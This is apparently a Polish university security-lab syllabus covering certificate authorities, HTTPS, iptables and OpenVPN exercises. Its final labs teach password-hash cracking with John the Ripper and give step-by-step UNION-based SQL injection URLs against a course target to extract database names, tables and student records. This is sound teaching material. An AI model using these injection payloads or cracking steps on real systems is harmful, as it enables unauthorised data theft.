5. Na hoście przy którym pracujesz skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https.
Wykorzystaj wygenerowany wcześniej certyfikat. Zadbaj o to, aby pod nazwą www.solab.mimuw.edu.pl był dostępny Twój serwer
z zainstalowanym wcześniej certyfikatem.

6. Zadbaj o to, aby nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki firefox/iceweasel.

7. Połącz się za pomocą protokołu https korzystając z faktycznej nazwy Twojego hosta (solabxx.mimuw.edu.pl). Jak zinterpretujesz
komunikat utworzony przez przeglądarkę?

Zaliczenie 2013

1. Utwórz i uruchom vserver o nazwie vsolabxx z podstawowym środowiskiem. Nazwa gościa: vsolabxx,
gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa niech będzie większy o 200 od adresu IP hosta.

Wewnątrz systemu gościa zainstaluj i uruchom serwer ssh, tak, aby dało się z nim połączyć z systemu hosta.

Ogranicz pamięć (RSS) dla gościa do 128MB. Sprawdź, czy ustawiony limit działa.

2. Utwórz własne CA o następujących parametrach:
CN = BSK
OU = BSK Certification Authority
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 15 lat

3. Wygeneruj prośbę o wydanie certyfikatu dla hosta
*.ssltest.mimuw.edu.pl:
OU = MIM UW BSK LAB
ST = Mazowieckie
O = MIM UW
C = PL
Termin ważności: 5 lat

4. Wystaw certyfikat dla *.ssltest.mimuw.edu.pl za pomocą utworzonego CA.

5. Na solabxx skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https.
Wykorzystaj wygenerowany wcześniej certyfikat. Zadbaj o to, aby pod nazwami www.ssltest.mimuw.edu.pl
i www2.ssltest.mimuw.edu.pl był dostępny Twój serwer z zainstalowanym wcześniej certyfikatem.
Pod nazwami www.ssltest.mimuw.edu.pl i www2.ssltest.mimuw.edu.pl
powinna być serwowana inna treść (np. pliki index.html o różnej zawarości).

6. Zadbaj o to, aby nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki firefox/iceweasel.
Jakią rolę pełni w tym certyfikat wystawiony z CN *.ssltest.mimuw.edu.pl? Jakie ma to konsekwencje dla bezpieczeństwa
serwera/serwerów http używających tego certyfikatu? Dlaczego warto/nie warto wystawiać
certyfikatu dla *.ssltest.mimuw.edu.pl zamiast dla www.ssltest.mimuw.edu.pl i www2.ssltest.mimuw.edu.pl
osobno?

7. Połącz się za pomocą protokołu https korzystając z faktycznej nazwy Twojego hosta (https://solabxx.mimuw.edu.pl). Jak zinterpretujesz serwowaną treść i komunikat utworzony przez przeglądarkę?

Zaliczenie 2014

Zaliczenie 2014

1. Utwórz i uruchom vserver o nazwie vsolabxx z podstawowym środowiskiem. Nazwa gościa: vsolabxx, gdzie xx jest takie samo jak w nazwie hosta. Adres IP gościa niech będzie większy o 200 od adresu IP hosta.

2. Wewnątrz systemu gościa zainstaluj i uruchom serwer ssh, tak, aby dało się z nim połączyć z systemu hosta.

3. Wewnątrz systemu gościa zainstaluj i uruchom serwer http (apache2), tak, aby dało się z nim połączyć przeglądarką uruchomioną w systemie hosta. Możesz wyłączyć serwer http na systemie gospodarza. Powinieneś móc połączyć się z http://vsolabxx i http://vsolabxx.mimuw.edu.pl. Zmień domyślną zawartość pliku index.html.

4. W systemie gospodarza utwórz własne CA o następujących parametrach:
CN = BSK
OU = BSK Certification Authority
ST = Mazowieckie
O = MIMUW
C = PL
Termin ważności: 10 lat

5. Wygeneruj prośbę o wydanie certyfikatu dla hosta vsolabxx:
CN = vsolabxx.mimuw.edu.pl
OU = BSK LAB
ST = Mazowieckie
O = MIMUW
C = PL
Termin ważności: 2 lata

6. Wystaw certyfikat dla vsolabxx.mimuw.edu.pl za pomocą utworzonego CA.

7. Na vsolabxx skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https. Wykorzystaj wygenerowany wcześniej certyfikat. Zadbaj o to, aby pod nazwą https://vsolabxx.mimuw.edu.pl był dostępny Twój serwer z zainstalowanym wcześniej certyfikatem i aby nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki.

8. Połącz się za pomocą protokołu https korzystając ze skróconej nazwy Twojego hosta (https://vsolabxx). Jak zinterpretujesz komunikat utworzony przez przeglądarkę?

Zaliczenie 2015

Zaliczenie 2015

Niech xx będzie numerem w nazwie komputera, przy którym pracujesz (np. 10 dla solab10).

1. Utwórz i uruchom VServer o nazwie vsolabxx z podstawowym środowiskiem. Adres IP vsolabxx niech będzie większy o 200 od adresu IP hosta.

2. Na systemie gospodarza (solabxx) zainstaluj i uruchom serwer ssh, tak, aby dało się z nim połączyć z systemu gościa.

3. Na systemie gościa (vsolabxx) zainstaluj i uruchom serwer http (apache2), tak, aby dało się z nim połączyć przeglądarką uruchomioną w systemie gospodarza. Możesz wyłączyć serwer http na systemie gospodarza. Zmień domyślną zawartość pliku /var/www/index.html na vsolabxx oraz /etc/hosts na solabxx. Powinieneś móc połączyć się z http://vsolabxx.mimuw.edu.pl.

4. W systemie gospodarza utwórz własne CA o następujących parametrach:
C = PL
ST = Mazowieckie
LN = Warsaw
ON = MIMUW
OU = BSK
CN = BSK Certification Authority
mail = ca@mimuw.edu.pl

Termin ważności: 10 lat

5. Wygeneruj prośbę o wydanie certyfikatu dla:
C = PL
ST = Mazowieckie
LN = Warsaw
ON = MIMUW
OU = BSK
CN = bsklabxx.mimuw.edu.pl
mail = bsk@mimuw.edu.pl

Termin ważności: 4 lata

6. Wystaw certyfikat dla bsklabxx.mimuw.edu.pl za pomocą utworzonego CA.

7. Na vsolabxx skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https. Wykorzystaj wygenerowany wcześniej certyfikat. Zadbaj o to, aby pod nazwą https://bsklabxx.mimuw.edu.pl był dostępny Twój serwer z zainstalowanym wcześniej certyfikatem i aby nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki.

8. Połącz się z https://vsolabxx.mimuw.edu.pl. Jak zinterpretujesz komunikat utworzony przez przeglądarkę?

Zaliczenie 2016

Zaliczenie 2016

Niech xx będzie numerem w nazwie komputera, przy którym pracujesz (np. 10 dla solab10).

1. Utwórz i uruchom kontener Dockera o nazwie vsolabxx.

2. W kontenerze zainstaluj serwer http (apache2), tak, aby dało się z nim połączyć przeglądarką uruchomioną w systemie gospodarza. Możesz wyłączyć serwer http na systemie gospodarza. Zmień domyślną zawartość pliku /var/www/index.html na vsolabxx oraz /etc/hosts na solabxx. Powinieneś móc połączyć się z http://vsolabxx.mimuw.edu.pl. Skonfiguruj kontener tak, aby polecenie docker run dla tego kontenera uruchamiało serwer apache2.

3. W systemie gospodarza utwórz własne CA o następujących parametrach:
C = PL
ST = Mazowieckie
LN = Warsaw
ON = MIMUW
OU = BSK
CN = BSK Certification Authority 16
mail = ca@mimuw.edu.pl

Termin ważności: 10 lat

4. Wygeneruj prośbę o wydanie certyfikatu dla:
C = PL
ST = Mazowieckie
LN = Warsaw
ON = MIMUW
OU = BSK
CN = bsklabxx.mimuw.edu.pl
mail = bsk@mimuw.edu.pl

Termin ważności: 4 lata

5. Wystaw certyfikat dla bsklabxx.mimuw.edu.pl za pomocą utworzonego CA.

6. W pliku Dockerfile konetnera vsolabxx skonfiguruj serwer http apache tak, aby można było połączyć się z użyciem protokołu https. Wykorzystaj wygenerowany wcześniej certyfikat. Zadbaj o to, aby pod nazwą https://bsklabxx.mimuw.edu.pl był dostępny Twój serwer z zainstalowanym wcześniej certyfikatem i aby nie pojawiały się ostrzeżenia przy próbie połączenia https z przeglądarki.

7. Połącz się z https://vsolabxx.mimuw.edu.pl.

Laboratorium 11 i 12: firewall iptables, vpn

Systemy programowych zapór sieciowych

Zapora sieciowa ma za zadanie filtrować ruch przychodzący i wychodzący z danego urządzenia sieciowego (na przykład komputera). Dzięki filtrowaniu ruchu możemy zapewniać różnego rodzaju zasady bezpieczeństwa związane z danym urządzeniem sieciowym.

Podstawowa funkcjonalność zapory polega na filtrowaniu pakietów, które przepuszcza tylko te pakiety, które odpowiadają wyznaczonym przez nas
zasadom bezpieczeństwa. Pakiety, które nie są przepuszczane mogą być porzucane po cichu lub też odrzucane z komunikatem do nadawcy. W zaporze sieciowej możemy filtrować zarówno ruch przychodzący, jak i wychodzący. Reguły filtrowania mogą być dosyć skomplikowane, w tym mogą uwzględniać stan protokołu, dla którego wykonywane jest filtrowanie.

Kolejną ważną funkcjonalnością zapory jest możliwość wykonywania translacji adresów. Istnieją dwa główne rodzaje translacji adresów:

  • SNAT pozwala komputerom w sieci wewnętrznej na dostęp do różnego rodzaju serwerów z Internetu,
  • DNAT pozwala komputerom z sieci zewnętrznej (Internetu) na dostęp do różnego rodzaju serwerów umieszczonych w sieci wewnętrznej.

Uwaga: By korzystać z translacji adresów, zwykle trzeba zezwolić na przekazywanie pakietów ip przez jądro:
echo 1 > /proc/sys/net/ipv4/ip_forward

Jeszcze inną ważną funkcjonalnością jest możliwość modyfikowania różnych fragmentów przechodzących pakietów (w istocie translacja adresów jest też przykładem tego rodzaju funkcjonalności). Dzięki temu możemy pakiety tak modyfikować, że poruszają się po sieci w bardziej regularny lub
łatwiej sterowalny sposób.

Często w praktyce administracyjnej przydaje się także możliwość rejestrowania różnego rodzaju sytuacji sieciowych. Zapory pozwalają na śledzenie i rejestrowanie wielu sytuacji. Przydaje się to do optymalizowania ruchu w sieci oraz wykrywania usterek w jej konfiguracji.

Dalsze informacje do przeczytania przed zajęciami:

Ćwiczenia - zapory sieciowe

  1. Ogranicz za pomocą iptables maksymalną wielkość pakietu ICMP-echo do 1kB.
  2. Ogranicz do 3 na minutę liczbę pakietów ICMP-echo.
  3. Ogranicz żądania http do 2kB wielkości i do 3 na minutę.
  4. Każ systemowi logować pakiety http większe niż 2kB i częstsze niż 3 na minutę, ale ich nie usuwać.
  5. Skonfiguruj zmienianie wartości pola TTL dla każdego pakietu na wartość 56 i sprawdź to, wykorzystując sniffer (tcpdump lub wiresharka).
  6. Spraw, żeby były usuwane pakiety większe niż 3 kB, zwracając komunikat błędu ICMP-net-unreachable.
  7. Pozmieniaj wartość pola MSS - sprawdzić wykorzystując sniffer.

Tworzenie sieci VPN

Wymagania dotyczące poufności, tajemnic produkcyjnych firm oraz konieczność umożliwiania pracownikom pracy zdalnej, w tym z domu, powoduje, że konieczne jest wprowadzanie metod udostępniania sieci wewnętrznej firmy przez szyfrowane kanały. Zwykle praca bezpośrednio za pomocą protokołu SSH jest niewystarczająca, dlatego sięga się po bardziej specjalizowane rozwiązania, takie jak VPN, które pozwalają na przekazywanie szyfrowanym kanałem całego ruchu sieciowego (bez konieczności ustanawiania odrębnych tuneli dla różnych aplikacji oraz bez ograniczenia się do protokołu TCP).

Wśród rozwiązań VPN dostępne są dwa podejścia:

  • tunelowanie ruchu VPN w protokole SSL,
  • przekazywanie ruchu VPN za pomocą protokołu IPsec.

Zasadnicza różnice między tymi dwoma podejściami:

  • tunelowanie w protokole SSL jest prostsze do zapewnienia,
  • tunelowanie w protokole SSL ma lepiej przetestowaną infrastrukturę (znacznie więcej użytkowników stosuje SSL),
  • tunelowanie w protokole SSL pozwala na korzystanie z powszechniej znanych mechanizmów,
  • tunelowanie w protokole IPsec można wykorzystywać przy uboższej infrastrukturze stosu sieciowego komputera.

Do tworzenia sieci VPN na bazie protokołu SSL służy OpenVPN.
Do tworzenia sieci VPN na bazie IPsec służy Openswan.

Dalsze informacje do przeczytania przed zajęciami:

Ćwiczenia VPN

Celem ćwiczeń jest budowanie poprawnej konfiguracji VPN krok po kroku.

Załóżmy, że komputer serwera VPN to vpn-server (adres ip ip-server), a klienta to vpn-client (adres ip ip-client).

Będziemy stawiać tunel VPN o adresach 10.0.0.1 (serwer) / 10.0.0.2 (klient)

1 instalacja pakietów openvpn

Na obu komputerach:

apt-get install openvpn

2 konfiguracja openvpn bez autoryzacji i szyfrowania

vpn-server# openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun
vpn-client# openvpn --ifconfig 10.0.0.2 10.0.0.1 --dev tun --remote 192.168.1.10

Sprawdź, czy serwer nasłuchuje na porcie 1194 (:openvpn):

vpn-server# netstat -l | grep openvpn

Sprawdź, czy jest połączenie po vpn między komputerami:

vpn-client# ping 10.0.0.1
vpn-server# ping 10.0.0.2

3 konfiguracja openvpn ze wspólnym kluczem

Stwórz klucz:

vpn-server# openvpn --genkey --secret vpn-shared-key

Przegraj klucz do komputera klienta:

vpn-server# scp vpn-shared-key root@vpn-client:

Włącz vpn:

vpn-server# openvpn --ifconfig 10.0.0.1 10.0.0.2 --dev tun --secret vpn-shared-key 0
vpn-client# openvpn --ifconfig 10.0.0.2 10.0.0.1 --dev tun --remote ip-server --secret vpn-shared-key 1

Upewnij się, że tunel działa. Sprawdź, czy klient może korzystać z tunelu gdy nie ma klucza.

4 konfiguracja openvpn z certyfikatami

Do wygenerowania certyfikatów wykorzystaj skrypty z /usr/share/easy-rsa

Ustaw właściciela certyfikatu (zmienne w pliku vars) na PL/Mazowieckie/Warszawa/mimuw-bsk-lab

Następnie wygeneruj certyfikaty dla centrum autoryzacji, klienta i serwera przez:

vpn-server# . vars
vpn-server# ./clean-all
vpn-server# ./build-ca
vpn-server# ./build-dh
vpn-server# ./build-key-server vpn-server
vpn-server# ./build-key vpn-client

Przekopiuj certyfikaty ca.cert, vpn-client.crt i klucz vpn-client.key na vpn-client.

vpn-server# openvpn --dev tun --tls--server --ifconfig 10.0.0.1 10.0.0.2 --ca ca.crt --cert vpn-server.crt --key vpn-server.key --dh dh1024.pem
vpn-client# openvpn --dev tun --tls-client --ifconfig 10.0.0.2 10.0.0.1 --ca ca.crt --cert vpn-client.crt --key vpn-client.key --remote [ip-vpn-server]

ZałącznikWielkość
Bsi_11_lab.pdf353.49 KB
Bsi_12_lab.pdf171.69 KB

Zaliczenie 2009

W celu wykonania tego zadania należy się dobrać w zespoły dwuosobowe.

Należy skonfigurować sieć VPN między dwoma komputerami z wykorzystaniem mechanizmu współdzielonego klucza. Następnie zaś skonfigurować zaporę na komputerze klienta VPN, tak aby wychodził z niego wyłącznie ruch VPN.

Należy zapisać wszystkie polecenia i opcje konfiguracji w pliku tekstowym, będzie on częścią rozwiązania. Sprawdzający zapewne będzie wymagał także prezentacji rozwiązania.

Zaliczenie 2010

W celu wykonania tego zadania należy się dobrać w zespoły dwuosobowe.

Należy skonfigurować sieć VPN między dwoma komputerami z wykorzystaniem certyfikatów. Następnie zaś skonfigurować zaporę na komputerze klienta VPN, tak aby wychodził z niego wyłącznie ruch VPN, a na serwerze tak, żeby wszystkie połączenia przez VPN były logowane.

Należy zapisać wszystkie polecenia i opcje konfiguracji w pliku tekstowym, będzie on częścią rozwiązania. Sprawdzający zapewne będzie wymagał także prezentacji rozwiązania.

Zaliczenie 2011

Zadanie zaliczeniowe wykonaj w parach i używając 2 komputerów. Jeden z komputerów skonfiguruj jako serwer VPN; drugi jako klient VPN. Tunel może wykorzystać te same adresy IP co w ćwiczeniach (10.0.0.1 i 10.0.0.2).

konfiguracja openvpn z certyfikatami

Do wygenerowania certyfikatów wykorzystaj skrypty z /usr/share/doc/openvpn/examples/easy-rsa/2.0

Ustaw właściciela certyfikatu (zmienne w pliku vars) na PL/Mazowieckie/Warszawa/mimuw-bsk-lab

Następnie wygeneruj certyfikaty dla centrum autoryzacji, klienta i serwera przez:

vpn-server# . vars
vpn-server# ./clean-all
vpn-server# ./build-ca
vpn-server# ./build-dh
vpn-server# ./build-key-server vpn-server
vpn-server# ./build-key vpn-client

Przekopiuj odpowiednie certyfikaty z keys/ do katalogów /etc/openvpn na vpn-server i vpn-client. (uwaga: to które pliki gdzie skopiować to już część zadania)

Napisz plik konfiguracyjny dla serwera i klienta; plik umieść w /etc/openvpn.
Skonfiguruj openvpn tak, by korzystało z certyfikatów do wzajemnej autoryzacji klienta i serwera.
Dodatkowo, uwzględnij następujące opcje

  • włącz kompresję
  • używaj TCP i portu 20500 na serwerze
  • włącz klienta i serwera w trybie demona
  • automatycznie utrzymuj połączenie przy życiu
  • zapisuj logi do /var/log/openvpn.log

Skonfiguruj openvpn tak, by można było go uruchomić na kliencie i na serwerze przez standardowy skrypt startowy ( /etc/init.d/openvpn start )

konfiguracja firewall'a dla vpn

  1. na komputerze klienta zezwól tylko na ruch przez VPN
  2. na komputerze serwera loguj wszystkie pakiety przychodzące przez VPN z prefiksem "VPN:"
  3. na komputerze serwera odrzucaj wszystkie pakiety ICMP-echo większe niż 1000 bajtów

konfiguracja serwera VPN jako bramki NAT

Skonfiguruj maszyny serwera i klienta tak, aby cały ruch sieciowy klienta przechodził przez łącze VPN.

Zaliczenie 2012

Zadanie zaliczeniowe wykonaj w parach i używając 2 komputerów. Należy skonfigurować sieć VPN między dwoma komputerami (klient-serwer) z wykorzystaniem certyfikatów oraz ustalić odpowiednie reguły zapory sieciowej. Pliki konfiguracyjne dla klienta i serwera napisz uwzględniając następujące opcje:

  • komunikacja odbywać ma się za pośrednictwem protokołu TCP
  • włącz kompresję LZO
  • ruch sieciowy z komputera klienta powinien odbywać się wyłącznie po VPN
  • komputer serwera skonfiguruj jako bramkę NAT dla klienta
  • komunikaty icmp-echo-request od klienta do serwera odrzucaj bez żadnego komunikatu, natomiast komunikaty icmp-echo od klienta "w świat" odrzucaj z komunikatem icmp-net-prohibited oraz loguj z prefiksem "ICMP rejected: "
  • odrzucaj wszystkie komunikaty od klienta do maszyny solab15 z komunikatem icmp-host-prohibited

Skonfiguruj openvpn tak, by można było go uruchomić na kliencie i na serwerze przez standardowy skrypt startowy (/etc/init.d/openvpn start). Logi openvpn powinny być zapisywane do pliku /var/log/openvpn.log

Zaliczenie 2013

Zadanie zaliczeniowe wykonaj w parach używając dwóch komputerów. Skonfiguruj sieć VPN między dwoma komputerami (apache i bramka) z wykorzystaniem certyfikatów oraz ustal odpowiednie reguły zapory sieciowej. Pliki konfiguracyjne dla bramki i serwera napisz uwzględniając następujące opcje:

  • openvpn można uruchomić na obu komputerach przez standardowy skrypt startowy (/etc/init.d/openvpn start).
  • Logi openvpn powinny być zapisywane do pliku /var/log/openvpn.log
  • komunikacja odbywać ma się za pośrednictwem protokołu TCP
  • włącz kompresję LZO
  • tunel VPN powinien używać adresów 10.x.0.1 i 10.x.0.2 gdzie x jest numerem komputera apache (np. dla solab15 x=15)
  • tylko komputery o nazwach (CN) apache i bramka mogą korzystać ze skonfigurowanego tunelu

Następnie skonfiguruj routing w następujący sposób:

  • komputer bramki skonfiguruj jako bramkę NAT dla serwera
  • ruch sieciowy z komputera apache powinien odbywać się wyłącznie po VPN
  • na komputerze apache uruchom serwer www działający na porcie 8080
  • przekieruj wszystkie odwołania do portu 80 bramki do portu 8080 serwera (używając tunelu do przesyłania pakietów) (uwaga: włącz przekierowanie pakietów nie tylko dla całego systemu, ale również dla interfejsu tun0)

Skonfiguruj firewall na bramce w następujący sposób:

  • odrzucaj wszystkie pakiety od apache do hosta solab01
  • odrzucaj wszystkie próby połączeń z eth0 przez TCP do portów inne niż 22, 80 i 1194; zapisuj informację do logów z prefixem "tcp rejected: "

Zaliczenie 2014

1. VPN (praca w parach)

Bazując na uzyskanej wiedzy o konfiguracji VPN, skonfiguruj serwer OpenVPN oraz
klienta, tak aby było możliwe połączenie sieciowe przez uzyskany tunel.

Przedstaw zalety oraz wady własnego rozwiązania i skonfigurowanych
parametrów połączenia.

2. Firewall (indywidualnie)

Za pomocą iptables skonfiguruj zaporę chroniącą lokalną stację roboczą/serwer
tak aby:

Zezwalać na dowolne połączenia wychodzące.
Zezwalać na połączenia przychodzące tylko pod warunkiem, że sami je inicjujemy.
Zezwalać na przychodzące połączenia inicjujące tylko na porty 443, 80 i 22
(na serwerze utrzymujemy serwery ssh oraz http, więc klienci muszą mieć dostęp).
Wpuszczać żądania echa ICMP.
Ograniczyć liczbę połączeń inicjujących przychodzących do portu 22 do 3 na minutę
z jednego źródłowego adresu IP.
Zadbać o interfejs loopback.
Przygotować regułę/reguły firewalla umożliwiające uruchomienie podstawowego serwera DNS.
Blokować wszystkie inne połączenia przychodzące.

Należy sprawdzić szczelność firewalla przedstawiając proponowane metody
testowania i ich wyniki.

Zaliczenie 2015

1. VPN (praca w parach)

Bazując na uzyskanej wiedzy o konfiguracji VPN, skonfiguruj serwer OpenVPN oraz
klienta, tak aby było możliwe połączenie sieciowe przez uzyskany bezpieczny tunel.

Przedstaw zalety oraz wady własnego rozwiązania i skonfigurowanych
parametrów połączenia.

2. Firewall (indywidualnie)

Za pomocą iptables skonfiguruj zaporę chroniącą lokalną stację roboczą/serwer
tak aby:

Zezwalać na dowolne połączenia wychodzące.
Zezwalać na połączenia przychodzące tylko pod warunkiem, że sami je inicjujemy.
Zezwalać na przychodzące połączenia inicjujące tylko na porty 80, 9000-9010.
(Dla celów testowania na serwerze powinny być uruchomione serwery ssh oraz http).
Wpuszczać żądania echa ICMP.
Zezwalać na połączenia inicjujące ssh tylko z podsieci BSK lab.
Ograniczyć liczbę połączeń inicjujących przychodzących do portu 22 do 10 na minutę
z jednego źródłowego adresu IP.
Zadbać o interfejs loopback.
Przygotować regułę/reguły firewalla umożliwiające uruchomienie podstawowego serwera DNS.
Blokować wszystkie inne połączenia przychodzące.

Sprawdź szczelność firewalla za pomocą nmapa przedstawiając proponowane metody
testowania. Porównaj wyniki testów dla portu 22 i 9000.

Zaliczenie 2016

Zadanie

1. Napisać skrypt tworzący indywidualne certyfikaty dla użytkowników serwera OpenVPN. Dane wejściowe: imię i nazwisko użytkownika oraz jego adres email (imienia i nazwiska należy użyć jako CN w generowanym certyfikacie). Wcześniej trzeba oczywiście zadbać o utworzenie CA na potrzeby VPN.

2. Napisać skrypt tworzący listę odwołanych certyfikatów dla użytkowników, którzy mają utracić dostęp. Uwzględnić listę CRL w konfiguracji serwera VPN.

3. Skonfigurować serwer OpenVPN oparty o transport tcp i ww. certyfikaty wraz z uwzględnieniem CRL.

4. Skonfigurować klienta OpenVPN tak, aby użytkownik mógł się połączyć z serwerem za pomocą swojego certyfikatu.

5. Na serwerze skonfigurować firewalla tak, aby można było wykonywać połączenia przychodzące jedynie do portu OpenVPN tcp tylko z podsieci 192.168.0.0/16.

Laboratorium 13... : termin dodatkowy

Laboratorium 14 - łamanie haseł

Dlaczego nie przechowujemy haseł otwartym tekstem

Aby zidentyfikować użytkownika potrzebujemy sprawdzić, czy jego hasło jest zgodne z oczekiwanym. Najprostszą metodą jest zapisanie hasła w pliku dostępnym tylko dla uprawnionych programów. Jednak wtedy nawet chwilowe uzyskanie przez atakującego dostępu do tego pliku powoduje, że może on zapisać sobie hasła do późniejszego wykorzystania. Aby obronić się przed tym niebezpieczeństwem zwykle przechowujemy nie samo hasło, a jego skrót otrzymany za pomocą kryptograficznej funkcji skrótu, czyli takiej funkcji haszującej, dla której m.in. jest trudno zgadnąć wartość wejściową znając tylko wartość wyjściową. Gdy użytkownik przedstawia swoje hasło obliczamy dla niego wartość tej samej funkcji skrótu i porównujemy wyniki aby sprawdzić, czy hasło jest poprawne.

Dlaczego czasami przechowujemy hasła otwartym tekstem

Istnieją (stosunkowo rzadkie) przypadki, kiedy nie da się zastosować opisanej wyżej metody. Na przykład mechanizm uwierzytelniania Digest w protokole HTTP wymaga znajomości całego hasła do sprawdzenia, czy przedstawione dane logowania są poprawne -- zyskiem jest brak konieczności przedstawiania przez użytkownika całego hasła.

Solenie hashy, rainbow tables

Samo zastosowanie funkcji skrótu nie wystarcza niestety do zapewnienia bezpieczeństwa: możemy raz obliczyć wartości funkcji dla haseł (np. dla rozsądnej długości) i potem wszędzie gdzie stosowana jest ta sama funkcja skrótu wystarczy znaleźć wynikach hasło odpowiadającemu danej wartości funkcji skrótu. Aby efektywnie wykorzystać tę technikę stosujemy specjalną strukturę danych -- tęczowe tablice. Aby się przed takim atakiem obronić stosujemy solenie, czyli dopisujemy do każdego hasła losową wartość (sól), którą zapisujemy otwartym tekstem razem z hasłem.­Atakujący, aby dostosować swój atak, musiałby obliczyć skróty wszystkich haseł dla wszystkich możliwych wartości soli, co czyni ten atak niepraktycznym.

Łamanie haszy

Brute-force i koledzy

Najprostszą metodą znalezienia hasła jest atak brute-force. Praktycznie wszystkie powszechnie używane funkcje skrótu można efektywnie obliczać na kartach graficznych, na przykład na karcie Nvidia GTX 1080 można obliczać około 2800 milionów skrótów SHA256 na sekundę.

Ataki słownikowe

W praktyce rzadko zdarza się, aby użytkownicy wybierali naprawdę losowe hasła, zazwyczaj są to wariacje na temat słów ze znanych użytkownikowi języków, imion, dat itp. Korzystając z tej wiedzy możemy istotnie zmniejszyć przestrzeń przeszukiwanych potencjalnych haseł, a co za tym idzie czas potrzebny do znalezienia hasła pod warunkiem, że dysponujemy

John the Ripper

Jednym z popularnych darmowych programów do łamania skrótów jest John The Ripper.

Instalacja

apt-get install -y john

Listy słów

Do złamania hasła potrzebujemy listy słów z języka używanego przez użytkowników. Jedną z takich list, udostępnioną do łatwej instalacji w Debiana, znajdziemy w pakiecie wpolish.

Dodatkowo słowa z listy mogą być modyfikowane przez reguły opisujące popularne modyfikacje, takie jak dopisanie jedynki na końcu czy zamiana pierwszej litery na wielką. Więcej o regułach można przeczytać na odpowieniej stronie wiki.

Uruchamianie

Przykładowe sposoby uruchomienia JTR są przystęnie opisane tutaj.

Ćwiczenia (niepunktowane)

Rozgrzewka

Korzystając z programu aspell wygeneruj listę wszystkich słów w języku polskim

Ćwiczenie właściwe

Użytkownik ma hasło o skrócie $6$in0qP2A9H12Z$4cgtWknDOBfJo1m.H9hrHiy7cmkFaHlX1uj.S9AKMXoqchyexcZY2B.ncbua2LdZOHBndDAtRaGog/ktYdW7j/. Wiemy, że hasło jest słowem występującym w przykładowej pracy dyplomowej z literą wstawioną w jakimś miejscu słowa. Przygotuj listę słów dla programu JTR i znajdź za jego pomocą hasło użytkownika.

Materiały

Laboratorium 15: SQLi

SQLi

Atak SQL injection wykorzystuje możliwość modyfikacji zapytania SQL przez odpowienie spreparowanie danych wejściowych. Na atak tego typu podatne są aplikacje przyjmujące dane od użytkownika i generujące na tej podstawie zapytania SQL (np. aplikacje webowe).

Przykład

Spójrzmy na poniższy URL:
http://hackme.mimuw.edu.pl/test.php?id=100

W pierwszej fazie ataku należy wyobrazić sobie jakie zapytanie SQL może być generowane po stronie aplikacji. W tym przypadku może to być np. takie:

SELECT * from jakas_tabela where id=100

W praktyce zapytanie po stronie aplikacji może oczywiście wyglądać inaczej, np.:

SELECT * from tabela where id="100"
SELECT * from tabela where id=(100) 
SELECT * from tabela where id=("100") itp.

co dla naszego ataku może nie być bez znaczenia. Podstawiając zamiast wartości 100 dane testowe należy próbować określić z którym z zapytań mamy do czynienia.

Można testować np. tak:
http://hackme.mimuw.edu.pl/test.php?id=100"
i obserwując zachowanie aplikacji wyciągnąć wnioski.

Wydaje się, że w naszym przykładzie zapytanie faktycznie może wyglądać tak:

SELECT * from jakas_tabela where id=100

więc powinno zadziałać np.:
http://hackme.mimuw.edu.pl/test.php?id=100 order by 4
I faktycznie ww. URL powoduje zwrócenie wyniku, natomiast
http://hackme.mimuw.edu.pl/test.php?id=100 order by 5
już nie, więc możemy wyciągnąć wniosek, że tabela której dotyczy zapytanie ma 4 kolumny.

Gdyby zapytanie tworzone przez aplikację miało np. postać:

SELECT * from tabela where id="100"

to powyższe zapytania trzeba by nieco zmodyfikować.
Warto ustalić, które dane są pokazywane na stronie w wyniku wykonania powyższego zapytania, tak, aby wykorzystać to do wyświetlenia interesujących nas informacji. Ponieważ tabela ma 4 kolumny, powinno zadziałać następujące zapytanie:

http://hackme.mimuw.edu.pl/test.php?id=100 union select 1,2,3,4--+
Z wyświetlonych wyników widzimy, że aplikacja wyświetla dane z pierwszej kolumny.

Pamiętajmy o przydatnych zmiennych i funkcjach (tu na przykładzie MySQL/MariaDB):
@@hostname, @@tmpdir, @@datadir, @@version, @@basedir,
user(), database(), version(), schema(), UUID(), current_user(), system_user(), session_user().

Nazwa bazy i inne przydatne dane:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select database(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select version(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select user(),2,3,4--+
http://hackme.mimuw.edu.pl/test.php?id=-100 union select @@tmpdir,2,3,4--+

Ustalenie typu silnika bazodanowego, a nawet jego konkretnej wersji jest bardzo istotne, poniższe zapytania wykorzystują fakt, że udało się to zrobić.

Nazwy tabel:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select table_name,2,3,4 from information_schema.tables where table_schema=database()

Nazwy kolumn tabeli:
http://hackme.mimuw.edu.pl/test.php?id=-100 union select column_name,2,3,4 from information_schema.columns where table_schema=database()and table_name='stud'

I w końcu pobieramy dane z tabeli, np. imiona i nazwiska:
http://hackme.mimuw.edu.pl/test.php?id=-100 union Select concat(lname,fname),2,3,4 from stud--+

Na końcu wstrzykiwanego SQLa może być potrzebne doklejenie znacznika komentarza, w tym przypadku --, tak,
aby wykomentować pozostałą część zapytania, po -- powinna znaleźć się spacja, więc może
zadziałać -- -, --+ itp.

Blind SQLi

Poza opisaną istnieją inne techniki ataków SQLi m.in. tzw. blind SQL injection. Technika ta jest przydatna, gdy np. podczas manipulowania URLem nie zauważamy żadnych informacji od aplikacji, komunikatów o błędach itp.
Więcej na ten temat można znaleźć tu:
http://securityidiots.com/Web-Pentest/SQL-Injection/Blind-SQL-Injection....

Zadanie (3p.)

Do wykonania na zajęciach.
Przeprowadź opisany wyżej atak na aplikację utworzoną w PHP:
http://hackme.mimuw.edu.pl/test.php?id=100.
Uwaga!
Aplikacja i baza danych mogły zostać zmienione w porównaniu do wyżej opisanych.

